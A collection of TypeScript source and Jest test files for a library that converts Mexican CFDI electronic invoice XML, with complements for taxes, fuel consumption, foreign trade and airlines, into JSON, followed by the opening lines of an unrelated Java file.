xmlns:cfdi="http://www.sat.gob.mx/cfd/3"
Version="3.3"
>
<cfdi:Receptor
Rfc="RFC_RECEPTOR"
Nombre="NOMBRE_DEL_RECEPTOR"
UsoCFDI="G03"
></cfdi:Receptor>
</cfdi:Comprobante>
`
}))
.toEqual({
"version": "3.3",
"receptor": {
"nombre": "NOMBRE_DEL_RECEPTOR",
"rfc": "RFC_RECEPTOR",
"usoCFDI": "G03"
}
});
});
it('Conceptos', () => {
expect(CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
xmlns:cfdi="http://www.sat.gob.mx/cfd/3"
Version="3.3"
>
<cfdi:Conceptos>
<cfdi:Concepto
ClaveProdServ="43231601"
Cantidad="1"
ClaveUnidad="E48"
Unidad="Unidad de servicio"
Descripcion="Licencia anual onefacture cfdi"
ValorUnitario="430.17"
Importe="430.17"
>
<cfdi:Impuestos>
<cfdi:Traslados>
<cfdi:Traslado Base="430.17" Impuesto="002" TipoFactor="Tasa" TasaOCuota="0.160000" Importe="68.83"></cfdi:Traslado>
</cfdi:Traslados>
</cfdi:Impuestos>
</cfdi:Concepto>
</cfdi:Conceptos>
</cfdi:Comprobante>
`
}))
.toEqual({
"version": "3.3",
"conceptos": [{
"cantidad": "1",
"claveProdServ": "43231601",
"claveUnidad": "E48",
"descripcion": "Licencia anual onefacture cfdi",
"importe": "430.17",
"impuestos": {
"traslados": [
{
"base": "430.17",
"importe": "68.83",
"impuesto": "002",
"tasaOCuota": "0.160000",
"tipoFactor": "Tasa",
},
],
},
"unidad": "Unidad de servicio",
"valorUnitario": "430.17",
}],
});
});
it('Impuestos', () => {
expect(CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
xmlns:cfdi="http://www.sat.gob.mx/cfd/3"
Version="3.3"
>
<cfdi:Impuestos TotalImpuestosTrasladados="68.83">
<cfdi:Traslados>
<cfdi:Traslado
Impuesto="002"
TipoFactor="Tasa"
TasaOCuota="0.160000"
Importe="68.83"
></cfdi:Traslado>
</cfdi:Traslados>
</cfdi:Impuestos>
</cfdi:Comprobante>
`
}))
.toEqual({
"version": "3.3",
"impuestos": {
"totalImpuestosTrasladados": 68.83,
"traslados": [{
"importe": 68.83,
"impuesto": "002",
"tasaOCuota": "0.160000",
"tipoFactor": "Tasa"
}]
}
});
});
});
<file_sep>import impLocalTemplate from "../imp-local";
describe("Impuestos locales data test", () => {
it("Execute without params", () => {
expect(impLocalTemplate()).toEqual({
"implocal:ImpuestosLocales": {
position: "impuestosLocales",
attributes: ["totalDeRetenciones", "totalDeTraslados"],
nodes: {
"implocal:RetencionesLocales": {
strictArrayResponse: true,
position: "retencionesLocales",
attributes: ["impLocRetenido", "tasaDeRetencion", "importe"]
},
"implocal:TrasladosLocales": {
strictArrayResponse: true,
position: "trasladosLocales",
attributes: ["impLocTrasladado", "tasaDeTraslado", "importe"]
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(impLocalTemplate({ minimalData: false })).toEqual({
"implocal:ImpuestosLocales": {
position: "impuestosLocales",
attributes: ["totalDeRetenciones", "totalDeTraslados"],
nodes: {
"implocal:RetencionesLocales": {
strictArrayResponse: true,
position: "retencionesLocales",
attributes: ["impLocRetenido", "tasaDeRetencion", "importe"]
},
"implocal:TrasladosLocales": {
strictArrayResponse: true,
position: "trasladosLocales",
attributes: ["impLocTrasladado", "tasaDeTraslado", "importe"]
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(impLocalTemplate({ minimalData: true })).toEqual({
"implocal:ImpuestosLocales": {
position: "impuestosLocales",
attributes: ["totalDeRetenciones", "totalDeTraslados"]
}
});
});
});
<file_sep>import comercioExterior10Template from "../comercio-exterior10";
describe("Comercio exterior 10 data test", () => {
it("Execute with minimalData: false", () => {
expect(comercioExterior10Template({ minimalData: false })).toEqual({
"cce:ComercioExterior": {
position: "comercioExterior",
attributes: [
"version",
"tipoOperacion",
"claveDePedimento",
"certificadoOrigen",
"numCertificadoOrigen",
"numeroExportadorConfiable",
"incoterm",
"subDivision",
"observaciones",
"tipoCambioUSD",
"totalUSD"
]
}
});
});
it("Execute with minimalData: true", () => {
expect(comercioExterior10Template({ minimalData: true })).toEqual({
"cce:ComercioExterior": {
position: "comercioExterior",
attributes: ["version"]
}
});
});
it("Execute without params", () => {
expect(comercioExterior10Template()).toEqual({
"cce:ComercioExterior": {
position: "comercioExterior",
attributes: [
"version",
"tipoOperacion",
"claveDePedimento",
"certificadoOrigen",
"numCertificadoOrigen",
"numeroExportadorConfiable",
"incoterm",
"subDivision",
"observaciones",
"tipoCambioUSD",
"totalUSD"
]
}
});
});
});
<file_sep>import consumoCombustibles10Template from "../consumo-de-combustibles10";
describe("Consumo de combustible 10 data test", () => {
it("Execute without params", () => {
expect(consumoCombustibles10Template()).toEqual({
"consumodecombustibles:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"consumodecombustibles:Conceptos": {
nodes: {
"consumodecombustibles:ConceptoConsumoDeCombustibles": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"consumodecombustibles:Determinados": {
nodes: {
"consumodecombustibles:Determinado": {
strictArrayResponse: true,
position: "determinados",
attributes: ["impuesto", "tasa", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(consumoCombustibles10Template({ minimalData: false })).toEqual({
"consumodecombustibles:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"consumodecombustibles:Conceptos": {
nodes: {
"consumodecombustibles:ConceptoConsumoDeCombustibles": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"consumodecombustibles:Determinados": {
nodes: {
"consumodecombustibles:Determinado": {
strictArrayResponse: true,
position: "determinados",
attributes: ["impuesto", "tasa", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(consumoCombustibles10Template({ minimalData: true })).toEqual({
"consumodecombustibles:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: ["version"]
}
});
});
});
<file_sep>import premios10Template from "../retenciones.premios10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(premios10Template()).toEqual({
"premios:Premios": {
position: "premios",
attributes: [
"version",
"entidadFederativa",
"montTotPago",
"montTotPagoGrav",
"montTotPagoExent",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
premios10Template({
minimalData: true
})
).toEqual({
"premios:Premios": {
position: "premios",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
premios10Template({
minimalData: false
})
).toEqual({
"premios:Premios": {
position: "premios",
attributes: [
"version",
"entidadFederativa",
"montTotPago",
"montTotPagoGrav",
"montTotPagoExent",
]
}
});
});
});
<file_sep>import aerolineasTemplate from "../aerolineas";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(aerolineasTemplate()).toEqual({
"aerolineas:Aerolineas": {
position: "aerolineas",
attributes: ["version", "tua"],
nodes: {
"aerolineas:OtrosCargos": {
position: "otrosCargos",
attributes: ["totalCargos"],
nodes: {
"aerolineas:Cargo": {
strictArrayResponse: true,
position: "cargosArray",
attributes: ["codigoCargo", "importe"]
}
}
}
}
}
});
});
it("Execute with minimalData true", () => {
expect(
aerolineasTemplate({
minimalData: true
})
).toEqual({
"aerolineas:Aerolineas": {
position: "aerolineas",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
aerolineasTemplate({
minimalData: false
})
).toEqual({
"aerolineas:Aerolineas": {
position: "aerolineas",
attributes: ["version", "tua"],
nodes: {
"aerolineas:OtrosCargos": {
position: "otrosCargos",
attributes: ["totalCargos"],
nodes: {
"aerolineas:Cargo": {
strictArrayResponse: true,
position: "cargosArray",
attributes: ["codigoCargo", "importe"]
}
}
}
}
}
});
});
});
<file_sep>import enajenacionDeAcciones10Template from "../retenciones.enajenacionDeAcciones10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(enajenacionDeAcciones10Template()).toEqual({
"enajenaciondeacciones:EnajenaciondeAcciones": {
position: "enajenacionDeAcciones",
attributes: [
"version",
"contratoIntermediacion",
"ganancia",
"perdida",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
enajenacionDeAcciones10Template({
minimalData: true
})
).toEqual({
"enajenaciondeacciones:EnajenaciondeAcciones": {
position: "enajenacionDeAcciones",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
enajenacionDeAcciones10Template({
minimalData: false
})
).toEqual({
"enajenaciondeacciones:EnajenaciondeAcciones": {
position: "enajenacionDeAcciones",
attributes: [
"version",
"contratoIntermediacion",
"ganancia",
"perdida",
]
}
});
});
});
<file_sep>import ventaVehiculosTemplate, {
informacionAduaneraDefinition
} from "../conceptos.venta-vehiculos";
describe("Conceptos venta de vehiculos data test", () => {
it("Execute without params", () => {
expect(ventaVehiculosTemplate()).toEqual({
"ventavehiculos:VentaVehiculos": {
position: "ventaVehiculos",
attributes: ["version", "claveVehicular", "niv"],
nodes: Object.assign({}, informacionAduaneraDefinition, {
"ventavehiculos:Parte": {
strictArrayResponse: true,
position: "partes",
attributes: [
"cantidad",
"unidad",
"noIdentificacion",
"descripcion",
"valorUnitario",
"importe"
],
nodes: informacionAduaneraDefinition
}
})
}
});
});
it("Execute with minimalData: false", () => {
expect(ventaVehiculosTemplate({ minimalData: false })).toEqual({
"ventavehiculos:VentaVehiculos": {
position: "ventaVehiculos",
attributes: ["version", "claveVehicular", "niv"],
nodes: Object.assign({}, informacionAduaneraDefinition, {
"ventavehiculos:Parte": {
strictArrayResponse: true,
position: "partes",
attributes: [
"cantidad",
"unidad",
"noIdentificacion",
"descripcion",
"valorUnitario",
"importe"
],
nodes: informacionAduaneraDefinition
}
})
}
});
});
it("Execute without params", () => {
expect(ventaVehiculosTemplate({ minimalData: true })).toEqual({
"ventavehiculos:VentaVehiculos": {
position: "ventaVehiculos",
attributes: ["version"]
}
});
});
});
<file_sep>import consumoCombustibles11Template from "../consumo-de-combustibles11";
describe("Consumo de combustible 11 data test", () => {
it("Execute without params", () => {
expect(consumoCombustibles11Template()).toEqual({
"consumodecombustibles11:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"consumodecombustibles11:Conceptos": {
nodes: {
"consumodecombustibles11:ConceptoConsumoDeCombustibles": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"tipoCombustible",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"consumodecombustibles11:Determinados": {
nodes: {
"consumodecombustibles11:Determinado": {
strictArrayResponse: true,
position: "determinados",
attributes: ["impuesto", "tasaOCuota", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: False", () => {
expect(consumoCombustibles11Template({ minimalData: false })).toEqual({
"consumodecombustibles11:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: [
"version",
"tipoOperacion",
"numeroDeCuenta",
"subTotal",
"total"
],
nodes: {
"consumodecombustibles11:Conceptos": {
nodes: {
"consumodecombustibles11:ConceptoConsumoDeCombustibles": {
strictArrayResponse: true,
position: "conceptos",
attributes: [
"identificador",
"fecha",
"rfc",
"claveEstacion",
"tipoCombustible",
"cantidad",
"nombreCombustible",
"folioOperacion",
"valorUnitario",
"importe"
],
nodes: {
"consumodecombustibles11:Determinados": {
nodes: {
"consumodecombustibles11:Determinado": {
strictArrayResponse: true,
position: "determinados",
attributes: ["impuesto", "tasaOCuota", "importe"]
}
}
}
}
}
}
}
}
}
});
});
it("Execute with minimalData: True", () => {
expect(consumoCombustibles11Template({ minimalData: true })).toEqual({
"consumodecombustibles11:ConsumoDeCombustibles": {
position: "consumoDeCombustibles",
attributes: ["version"]
}
});
});
});
<file_sep>import ecbEstadoDeCuentaBancario from "../estado-cuenta-bancario";
describe("Estado de cuenta de combustible 10 data test", () => {
it("Execute without params", () => {
expect(ecbEstadoDeCuentaBancario()).toEqual({
"ecb:EstadoDeCuentaBancario": {
position: "estadoCuentaBancario",
attributes: ["version", "numeroCuenta", "nombreCliente", "periodo", "sucursal"],
nodes: {
"ecb:Movimientos": {
"ecb:MovimientoECB": {
strictArrayResponse: true,
position: "movimientosECB",
attributes: [
"fecha",
"referencia",
"descripcion",
"importe",
"moneda",
"saldoInicial",
"saldoAlCorte",
],
},
"ecb:MovimientoECBFiscal": {
strictArrayResponse: true,
position: "movimientosECBFiscal",
attributes: [
"fecha",
"referencia",
"descripcion",
"RFCenajenante",
"moneda",
"saldoInicial",
"saldoAlCorte",
],
},
},
}
}
});
});
it("Execute with minimalData: False", () => {
expect(ecbEstadoDeCuentaBancario({ minimalData: false })).toEqual({
"ecb:EstadoDeCuentaBancario": {
position: "estadoCuentaBancario",
attributes: ["version", "numeroCuenta", "nombreCliente", "periodo", "sucursal"],
nodes: {
"ecb:Movimientos": {
"ecb:MovimientoECB": {
strictArrayResponse: true,
position: "movimientosECB",
attributes: [
"fecha",
"referencia",
"descripcion",
"importe",
"moneda",
"saldoInicial",
"saldoAlCorte",
],
},
"ecb:MovimientoECBFiscal": {
strictArrayResponse: true,
position: "movimientosECBFiscal",
attributes: [
"fecha",
"referencia",
"descripcion",
"RFCenajenante",
"moneda",
"saldoInicial",
"saldoAlCorte",
],
},
},
}
}
});
});
it("Execute with minimalData: True", () => {
expect(ecbEstadoDeCuentaBancario({ minimalData: true })).toEqual({
"ecb:EstadoDeCuentaBancario": {
position: "estadoCuentaBancario",
attributes: ["version"]
}
});
});
});
<file_sep>import CfdiExtractData from "..";
describe("CfdiExtractData:Cosumodeconbustibles11", () => {
it("test1", () => {
expect(
CfdiExtractData.extractGeneralData({
contentXML: `
<?xml version="1.0" encoding="utf-8"?>
<cfdi:Comprobante
xmlns:cfdi="http://www.sat.gob.mx/cfd/3"
xmlns:consumodecombustibles11="http://www.sat.gob.mx/ConsumoDeCombustibles11"
Version="3.3"
>
<cfdi:Complemento>
<consumodecombustibles11:ConsumoDeCombustibles version="1.1" numeroDeCuenta="4618794285" tipoOperacion="monedero electrónico" subTotal="450" total="522">
<consumodecombustibles11:Conceptos>
<consumodecombustibles11:ConceptoConsumoDeCombustibles identificador="467815492" fecha="2018-06-11T10:17:55" rfc="GPR0911217G4" claveEstacion="17493584" tipoCombustible="5" cantidad="30.000" nombreCombustible="Gasolina" folioOperacion="50" valorUnitario="15.00" importe="450.00">
<consumodecombustibles11:Determinados>
<consumodecombustibles11:Determinado impuesto="IVA" tasaOCuota="16.00" importe="72.00" />
</consumodecombustibles11:Determinados>
</consumodecombustibles11:ConceptoConsumoDeCombustibles>
</consumodecombustibles11:Conceptos>
</consumodecombustibles11:ConsumoDeCombustibles>
</cfdi:Complemento>
</cfdi:Comprobante>
`
})
).toEqual({
version: "3.3",
consumoDeCombustibles: {
conceptos: [
{
cantidad: "30.000",
claveEstacion: "17493584",
determinados: [
{
importe: "72.00",
impuesto: "IVA",
tasaOCuota: "16.00"
}
],
fecha: "2018-06-11T10:17:55",
folioOperacion: "50",
identificador: "467815492",
importe: "450.00",
nombreCombustible: "Gasolina",
rfc: "GPR0911217G4",
tipoCombustible: "5",
valorUnitario: "15.00"
}
],
numeroDeCuenta: "4618794285",
subTotal: "450",
tipoOperacion: "monedero electrónico",
total: "522",
version: "1.1"
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"arrendamientoenfideicomiso:Arrendamientoenfideicomiso": {
position: "arrendamientoEnFideicomiso",
attributes: ["version"]
}
};
export const allDataDefinition = {
"arrendamientoenfideicomiso:Arrendamientoenfideicomiso": {
position: "arrendamientoEnFideicomiso",
attributes: [
"version",
"pagProvEfecPorFiduc",
"rendimFideicom",
"deduccCorresp",
"montTotRet",
"montResFiscDistFibras",
"montOtrosConceptDistr",
"descrMontOtrosConceptDistr",
]
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import conceptosTercerosTemplate, {
informacionAduaneraDefinition
} from "../conceptos.terceros";
describe("Conceptos de terceros data test", () => {
it("Execute without params", () => {
expect(conceptosTercerosTemplate()).toEqual({
"terceros:PorCuentadeTerceros": {
position: "cuentaTerceros",
attributes: ["version", "rfc", "nombre"],
nodes: Object.assign({}, informacionAduaneraDefinition, {
"terceros:Parte": {
strictArrayResponse: true,
position: "partes",
attributes: [
"cantidad",
"unidad",
"noIdentificacion",
"descripcion",
"valorUnitario",
"importe"
],
nodes: informacionAduaneraDefinition
},
"terceros:CuentaPredial": {
position: "cuentaPredial",
attributes: ["numero"]
}
})
}
});
});
it("Execute with minimalData: false", () => {
expect(conceptosTercerosTemplate({ minimalData: false })).toEqual({
"terceros:PorCuentadeTerceros": {
position: "cuentaTerceros",
attributes: ["version", "rfc", "nombre"],
nodes: Object.assign({}, informacionAduaneraDefinition, {
"terceros:Parte": {
strictArrayResponse: true,
position: "partes",
attributes: [
"cantidad",
"unidad",
"noIdentificacion",
"descripcion",
"valorUnitario",
"importe"
],
nodes: informacionAduaneraDefinition
},
"terceros:CuentaPredial": {
position: "cuentaPredial",
attributes: ["numero"]
}
})
}
});
});
it("Execute with minimalData: true", () => {
expect(conceptosTercerosTemplate({ minimalData: true })).toEqual({
"terceros:PorCuentadeTerceros": {
position: "cuentaTerceros",
attributes: ["version"]
}
});
});
});
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"implocal:ImpuestosLocales": {
position: "impuestosLocales",
attributes: ["totalDeRetenciones", "totalDeTraslados"]
}
};
export const allDataDefinition = {
"implocal:ImpuestosLocales": {
position: "impuestosLocales",
attributes: ["totalDeRetenciones", "totalDeTraslados"],
nodes: {
"implocal:RetencionesLocales": {
strictArrayResponse: true,
position: "retencionesLocales",
attributes: ["impLocRetenido", "tasaDeRetencion", "importe"]
},
"implocal:TrasladosLocales": {
strictArrayResponse: true,
position: "trasladosLocales",
attributes: ["impLocTrasladado", "tasaDeTraslado", "importe"]
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"detallista:detallista": {
position: "detallista",
attributes: ["type", "contentVersion"]
}
};
export const allDataDefinition = {
"detallista:detallista": {
position: "detallista",
attributes: [
"type",
"contentVersion",
"documentStructureVersion",
"documentStatus"
]
/*nodes: {
'detallista:requestForPaymentIdentification': {
nodes: {
'detallista:entityType': {
textContentPosition: 'entityType',
strictTextContent: true,
}
}
},
'detallista:specialInstruction': {
nodes: {
'detallista:text': {
textContentPosition: 'entityType',
strictTextContent: true,
}
}
},
'detallista:orderIdentification': {},
'detallista:AdditionalInformation': {},
'detallista:DeliveryNote': {},
'detallista:buyer': {},
'detallista:seller': {},
'detallista:shipTo': {},
'detallista:InvoiceCreator': {},
'detallista:Customs': {},
'detallista:currency': {},
'detallista:paymentTerms': {},
'detallista:shipmentDetail': {},
'detallista:allowanceCharge': {},
'detallista:lineItem': {},
'detallista:totalAmount': {},
'detallista:TotalAllowanceCharge': {},
}*/
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import comercioExterior11Template from "../comercio-exterior11";
describe("Comercio exterior 11 data test", () => {
it("Excecute with minimalData: false", () => {
expect(comercioExterior11Template({ minimalData: false })).toEqual({
"cce11:ComercioExterior": {
position: "comercioExterior",
attributes: [
"version",
"motivoTraslado",
"tipoOperacion",
"claveDePedimento",
"certificadoOrigen",
"numCertificadoOrigen",
"numeroExportadorConfiable",
"incoterm",
"subDivision",
"observaciones",
"tipoCambioUSD",
"totalUSD"
]
}
});
});
it("Excecute with minimalData: true", () => {
expect(comercioExterior11Template({ minimalData: true })).toEqual({
"cce11:ComercioExterior": {
position: "comercioExterior",
attributes: ["version"]
}
});
});
it("Excecute without params", () => {
expect(comercioExterior11Template()).toEqual({
"cce11:ComercioExterior": {
position: "comercioExterior",
attributes: [
"version",
"motivoTraslado",
"tipoOperacion",
"claveDePedimento",
"certificadoOrigen",
"numCertificadoOrigen",
"numeroExportadorConfiable",
"incoterm",
"subDivision",
"observaciones",
"tipoCambioUSD",
"totalUSD"
]
}
});
});
});
| 7b201de19ee7db5b8ae4fb666b82cbe49b36498f | [
"Markdown",
"TypeScript"
] | 93 | TypeScript | onefacture/cfdi-to-json | 9546e6d7b7f021c6c6a9ac9ba57aad4ec8969b42 | c2f92fa9e90f7da37f57c5ebd058bcc2b347a80e |
refs/heads/master | <repo_name>youyouxiaomusang/mySurvey<file_sep>/src/mycxf/Server1.java
package mycxf;
import org.apache.cxf.endpoint.Server;
import org.apache.cxf.jaxws.JaxWsServerFactoryBean;
public class Server1 {
public static final String address = "http://192.168.10.24:9999/cxf0519_server";
public static void main(String[] args) {
JaxWsServerFactoryBean jaxWsServerFactoryBean = new JaxWsServerFactoryBean();
jaxWsServerFactoryBean.setAddress(address);
jaxWsServerFactoryBean.setServiceClass(FirstCxfImpl.class);
Server create = jaxWsServerFactoryBean.create();
create.start();
}
}
<file_sep>/src/mycxf/FirstCxfImpl.java
package mycxf;
public class FirstCxfImpl implements FirstCxf,Say2 {
@Override
public String sayYes(String name) {
return name +"abc";
}
@Override
public String sayYes1(String name) {
return name +"abc";
}
@Override
public String say2(String name) {
return name + "2";
}
}
| 9577bc4c3687786d6996769d276fd4a603d44267 | [
"Java"
] | 2 | Java | youyouxiaomusang/mySurvey | 467c029b2b4a57ea0d13dcc4ee7896742535d529 | f94f01bdc98aa5c89d7b1835ffe006bc41f3f134 |
refs/heads/main | <file_sep>#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <semaphore.h>
#include<sys/shm.h>
sem_t coronaPatient;
sem_t fluPatient;
sem_t Stop;
int virusType(){
return rand() & 1;
}
void * Admit(void * param){
int key=shmget(12329, 1024,IPC_CREAT | IPC_EXCL | 0666);
int potentialCPatients = (int) shmat(key, NULL, 0);
sem_wait(&Stop);
potentialCPatients++;
sem_post(&Stop);
if( virusType() == 1){
sem_wait(&Stop);
potentialCPatients--;
sem_post(&Stop);
printf("Patient has corona\n");
sem_post(&coronaPatient);
while(1){
if( virusType() == 0 && virusType() == 0 ){
sem_wait(&coronaPatient);
printf("Patient Recovered\n");
break;
}
}
}
else{
sem_wait(&Stop);
potentialCPatients--;
sem_post(&Stop);
printf("Patient has Flu\n");
printf("Patient not admitted\n");
sem_post(&fluPatient);
}
}
int main()
{
srand(time(0));
int N;
int i;
printf("Input the number of patients");
scanf("%d", &N);
pthread_t * id = (pthread_t*) malloc(N* sizeof(pthread_t));
sem_init(&coronaPatient, 0, 1);
sem_init(&fluPatient, 0, 1);
sem_init(&Stop, 0, 1);
int key=shmget(12329, 1024,0);
int ptr= (int) shmat(key, NULL, 0);
for( i=0 ; i < N; i++){
if (pthread_create( &id[i] , NULL, &Admit , NULL)== -1){
printf("Thread Creation Failed!");
return 1;
}
}
for( i=0 ; i < N; i++){
pthread_join( id[i] , NULL );
}
sem_destroy(&coronaPatient);
sem_destroy(&fluPatient);
shmdt(ptr);
shmctl(key, IPC_RMID, NULL);
return 0;
}
| aa6b4d965a82b8eb02ae566ec396259a54e228e4 | [
"C"
] | 1 | C | Bsirohey/OS-Assignment3 | b68ea95b39bd2ee3b7b7abbcda68960781c83727 | f85d636c0865eae638ade95f28c9d03f2d56ad5a |
refs/heads/master | <file_sep>let data = {
src: "../image/vue.png",
title: "vue.js~手牽手,一起克全家福"
};
let vm = new Vue({
el: "#app",
data: data
});
<file_sep>(function() {
function jsonToQueryString(json) {
return Object.keys(json)
.map(function(key) {
return encodeURIComponent(key) + "=" + encodeURIComponent(json[key]);
})
.join("&");
}
})();
(function() {
"use strict";
const api_base_url =
"https://api.themoviedb.org/3/discover/movie?api_key=<KEY>&language=zh-TW&sort_by=popularity.desc&include_adult=false&include_video=false&page=1";
// const year = "2018";
const images_base_url = "http://image.tmdb.org/t/p/";
const backdrop_sizes = ["w300", "w780", "w1280", "original"];
const data = [];
const row = document.querySelector(".row");
axios.get(api_base_url).then(function(response) {
data.push(...response.data.results);
showCard(data);
});
function showCard(data) {
console.log(data);
for (let i = 0; i < data.length; i++) {
const card = document.createElement("div");
card.classList.add("card", "w-50", "mt-2");
row.appendChild(card);
const backdrop_path = document.createElement("img");
backdrop_path.classList.add("card-img-top");
backdrop_path.src =
images_base_url + backdrop_sizes[3] + data[i].backdrop_path;
card.appendChild(backdrop_path);
const card_body = document.createElement("div");
card_body.classList.add("card-body");
card.appendChild(card_body);
const card_title = document.createElement("h5");
card_title.classList.add("card-title");
card_title.innerText = data[i].original_title;
card_body.appendChild(card_title);
const card_overview = document.createElement("p");
card_overview.classList.add("card-text");
card_overview.innerText = data[i].overview;
card_body.appendChild(card_overview);
const card_vote_average = document.createElement("p");
card_vote_average.classList.add("card-text");
card_vote_average.innerText = data[i].vote_average;
card_body.appendChild(card_vote_average);
const card_release_date = document.createElement("p");
card_release_date.classList.add("card-text");
card_release_date.innerText = data[i].release_date;
card_body.appendChild(card_release_date);
}
}
})();
<file_sep>## 設計圖
[drive.google](https://drive.google.com/open?id=1gQv2VcMCIvES_p0oxxXOMI__W1PIIYWX)
[網址](https://hexschool.github.io/THE_F2E_Design/week4-product%20gallery/#artboard1)
<file_sep>(function() {
"use strict";
const container = document.getElementsByClassName("container")[0];
const checkbox = document.getElementsByName("checkbox")[0];
container.addEventListener("click", function(event) {
if (checkbox.checked && event.target.matches(".nav-wrapper")) {
checkbox.checked = false;
}
});
})();
(function() {
"use strict";
// fade out
function fadeOut(el) {
el.style.opacity = 1;
(function fade() {
if ((el.style.opacity -= 0.1) < 0) {
el.style.display = "none";
} else {
requestAnimationFrame(fade);
}
})();
}
window.addEventListener("load", function() {
const loaderWrapper = document.querySelector(".loader");
fadeOut(loaderWrapper);
});
})();
(function() {
"use strict";
let swiper = new Swiper(".swiper-container", {
spaceBetween: 30,
centeredSlides: true,
autoplay: {
delay: 2500,
disableOnInteraction: false
},
pagination: {
el: ".swiper-pagination",
clickable: true
},
navigation: {
nextEl: ".swiper-button-next",
prevEl: ".swiper-button-prev"
}
});
})();
<file_sep>## 設計圖
[設計圖網址](https://thomas-2019.github.io/Create-Website/Architect%20examples/architect/index.html)
<file_sep>
(function(Vue) {
new Vue({
el: "#app",
data: {
loading: false,
editIndex: null, //判斷修改哪個index
contacts: [],
input: {
name: "",
email: ""
}
},
methods: {
cancelHandler() {
this.editIndex = null; //取消時index初始化
// this.input.name="",
// this.input.email=""
this.input = {
name: "",
email: ""
}; //重構解構
},
submitHandler() {
let { name, email } = this.input; //重構解構
if (!name || !email) return; //無輸入資料離開程式
this.loading = true;
if (this.editIndex === null) {
axios
.post("http://localhost:8888/contact", { name, email }) //將{name,email}資料寫入//重構解構後
.then(res => {
this.contacts.push(res.data); //將資料存入
this.cancelHandler(); //清除表格資料
this.loading = false;
})
.catch(err => {
console.log(err);
});
} else {
let id = this.contacts[this.editIndex].id;
// let {id}=this.contacts[this.editIndex]//重構解構
axios
.put("http://localhost:8888/contact/" + id, this.input) //將this.input資料寫入
.then(res => {
this.contacts[this.editIndex] = res.data;
this.cancelHandler();
this.loading = false;
})
.catch(err => {
console.log(err);
});
}
},
deleteHandler(index) {
let target = this.contacts[index];
this.loading = true;
if (confirm(`是否刪除${target.name}?`)) {
axios
.delete("http://localhost:8888/contact/" + target.id)
.then(res => {
this.contacts.splice(index, 1); //刪除一筆資料
this.loading = false;
}) //使用axios-delete刪除資料
.catch(err => {
console.log(err);
});
}
},
editHandeler(index) {
let { name, email } = this.contacts[index]; //重構解構
// this.input.name = name;
// this.input.email = email;
this.editIndex = index; //新增修改index
this.input = {
name,
email
}; //重構解構
}
},
mounted() {
this.loading = true;
axios
.get("http://localhost:8888/contact")
.then(res => {
this.contacts = res.data; //將資料載入
this.loading = false;
})
.catch(err => {
console.log(err);
});
}
});
})(Vue);
<file_sep>let data = {
name: "Thomas",
sex: "男",
age: "30歲~40歲",
favor: [],
member: false
};
let vm = new Vue({
el: "#app",
data: data
});
<file_sep>let data = {
obj: { num: 0 },
number: 0,
objList: [{ num: 0 }, { num: 0 }, { num: 0 }],
numberList: [0, 0, 0]
};
let vm = new Vue({
el: "#app",
data: data,
methods: {
objListHandler(index) {
this.objList[index].num += 1;
},
numberListHandler(index) {
this.numberList[index] += 1;
}
},
watch: {
number(val, oldVal) {
console.log("number:", val, oldVal);
},
// ["obj.num"](val, oldVal) {
// console.log("obj:", val, oldVal);
// },
obj: {
handler(val, oldVal) {
console.log("obj:", val, oldVal);
},
deep: true
}
}
});
| 74f6bee9afba434145ed9d9d3c9c6caab30d3635 | [
"JavaScript",
"Markdown"
] | 8 | JavaScript | Thomas-2019/practice | d0dda3f3f9e1904b95a4d490bfeada16c590b11f | 0da3bf713aa9be95b577dabefe99aa09e39b0c7d |
refs/heads/master | <repo_name>lk46/BookBorrow<file_sep>/BookBorrow/src/top/vist/bookborrow/dao/TestUtils.java
package top.vist.bookborrow.dao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
